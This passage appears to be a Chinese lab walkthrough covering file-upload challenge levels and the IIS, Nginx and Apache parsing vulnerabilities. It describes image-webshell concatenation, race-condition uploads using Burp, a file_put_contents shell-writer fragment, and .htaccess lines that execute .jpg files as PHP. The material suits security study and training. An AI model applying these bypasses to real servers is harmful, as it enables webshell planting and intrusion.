copy 1.png/b + 1.zip/b 2.png合成一个2.png可以看到2.png为一个图片

我们把2.png改为2.zip

于是乎我们就可以把图片和一个一句话木马合成

上传抓包修改2.jpg为2.php

但是这关是写死了的所以还需要一个文件包含
include.php

这里包含图片马

第十五关:白名单验证,图片马,getimagesize绕过
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
这里上传我们合成的图片马就可以了,同理用我们的文件包含


第十六关:白名单验证,图片马
exif_imagetype — 判断一个图像的类型,只能gif,jpg,png,同理绕过

第十七关:白名单验证,图片马+二次渲染
验证过程:判断后缀与MIME类型是否符合要求,符合后生成新图像(内容不正确会失败,返回false,相当于多了一次验证),生成新图像失败就unlink删除,成功就根据系统时间给文件命名,再通过imagejpeg类似函数使用原图像资源创建新图像(二次渲染)
这里比如说我们上传我们的图片马,然后再下载下来就会发现我们的php代码不见了

这里一般我们用gif动图绕过

一般我们放在比较前面,因为最开始是文件头,后面是色彩要被二次渲染,所以一般放在3-4行左右

第十八关:白名单验证,条件竞争
竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。
在我理解就是两只哈士奇(线程)同时去抢一个丢出去的飞盘(资源),不知道到底哪只能抢到,此处便形成了竞争。
那我们上传是和谁去竞争?
一般而言我们是上传了文件,上传了但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink,是和删除文件的函数进行竞争。
假如我不断的上传发包,然后我同时也不断的访问那个我们上传上去的文件的地址,我们就开始和服务器的函数比手速了,函数执行都是要时间的,如果我这边上传上去,且没有删除,那个时间可能很短,然后被我访问到了,岂不是就可以执行PHP了我就比服务器手速快了
你可以上传一个php然后访问后,由这个php去写一个马

';file_put_contents('1.php',$a)?>

我疯狂的上传,疯狂的访问=>在你检测到之前,我已经访问到了,条件竞争的前提就是先上传移动文件,再检测是否合格,合格才重命名,不合格就删除

这里很明显是先上传了,再删除判断了
用burp开启两个intruder模块,一个用于重复上传,另一个用于重复访问
可以看到总有几个可以成功访问

第十九关:白名单验证,条件竞争
这里先将上传的文件保存(move函数),再rename重命名一下。所以也存在条件竞争,绕过方法和上面Pass-17差不多
第二十关:黑名单验证,点号绕过

pathinfo() 函数以数组的形式返回文件路径的信息。
PATHINFO_DIRNAME - 只返回 dirname
PATHINFO_BASENAME - 只返回 basename
PATHINFO_EXTENSION - 只返回 extension
这里而且还是黑名单所以加上.就会获取为空

第二十一关:白名单验证,数组绕过
可以看到先判断了mime

然后以.分割成数组,然后end获取最后也就是获取到后缀,然后进行白名单验证

然后通过reset把指针指向第一位,就是索引为0和索引count-1,所以我们把0指为php,1指为空,2末尾指为jpg

7.3 IIS解析漏洞

解析漏洞:文件被解析为后端代码
IIS解析漏洞
IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll

在 IIS5.x/6.0 中,在网站下建立文件夹的名字为.asp、.asa、.cer、.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了

IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 .asp;.jpg、.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。

在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码

')?>

比如假设图片地址为http://a.com/upload/1.jpg
则执行地址为http://a/upload/1.jpg/shell.php
然后,会在目录下生成shell.php
临时解决办法:设置 cgi.fix_pathinfo为0

在windows环境下,xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。

7.4 Ngnix解析漏洞

畸形解析漏洞(test.jpg/*.php)
漏洞原因:
php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
/etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行
在浏览器中访问 http://127.0.0.1/test.jpg 显示图片解析错误。在浏览器中访问 http://127.0.0.1/test.jpg/test.php ,显示:“Access denied.” ,test.jpg是文件不是目录,test.php也是不存在的文件,访问/test.jpg/test.php没有报404,而是显示“Access denied.” 。
Nginx拿到/test.jpg/test.php后,一看后缀是.php,便认为该文件是php文件,转交给php去处理。php一看/test.jpg/test.php不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回“Access denied.”。
这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。这是对文件路径进行“修理”。举个例子,当php遇到文件路径“/aaa.xxx/bbb.yyy/ccc.zzz”时,若“/aaa.xxx/bbb.yyy/ccc.zzz”不存在,则会去掉最后的“/ccc.zzz”,然后判断“/aaa.xxx/bbb.yyy”是否存在,若存在,则把“/aaa.xxx/bbb.yyy”当做文件“/aaa.xxx/bbb.yyy/ccc.zzz”,若“/aaa.xxx/bbb.yyy”仍不存在,则继续去掉“/bbb.yyy”,以此类推。目前我们还没能成功执行代码因为新版本的php引入了“security.limit_extensions”,限制了可执行文件的后缀,默认只允许执行.php文件。
security.limit_extensions = .php .jpg,这样就jpg也可当作php了
%00空字节代码解析漏洞
原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

在以下版本的nginx中,我们在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php 来执行其中的代码

Nginx 0.5.*
Nginx 0.6.*
Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37

CVE-2013-4547(%20%00)
影响nginx版本:nginx 0.8.41 ~ 1.5.6
首先准备一张图片,命名为“test.html ”,注意,文件名含有空格。然后在浏览器中访问该文件,会得到一个404,因为浏览器自动将空格编码为%20,服务器中不存在文件“test.html%20”。
http://a/test.htmlAAAjpg ,将第一个“A”改成“20”(空格符号的ASCII码),将第二个“A”改成“00”(截止符),将第三个“A”改成“2e”(“.”的ASCII码),如图

修改完毕后Forward该请求

7.5 Apache解析漏洞

文件名解析漏洞
apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。比如 xie.php.owf.rar .owf和.rar 这两种后缀是apache不可识别的解析,apache就会把xie.php.owf.rar解析成 xie.php 。如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个 xie.php.rara.jpg.png..(把你知道的后缀都写上去)去测试是否是合法后缀。任意不识别的后缀,逐级向上识别。

.htaccess文件
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

.htaccess 文件生效前提条件为

mod_rewrite 模块开启
AllowOverride All
1:这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行
<FilesMatch   "shell"> 
SetHandler  application/x-httpd-php 

2:这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析
AddType application/x-httpd-php .jpg

原文地址:https://www.cnblogs.com/yicunyiye/p/13786994.html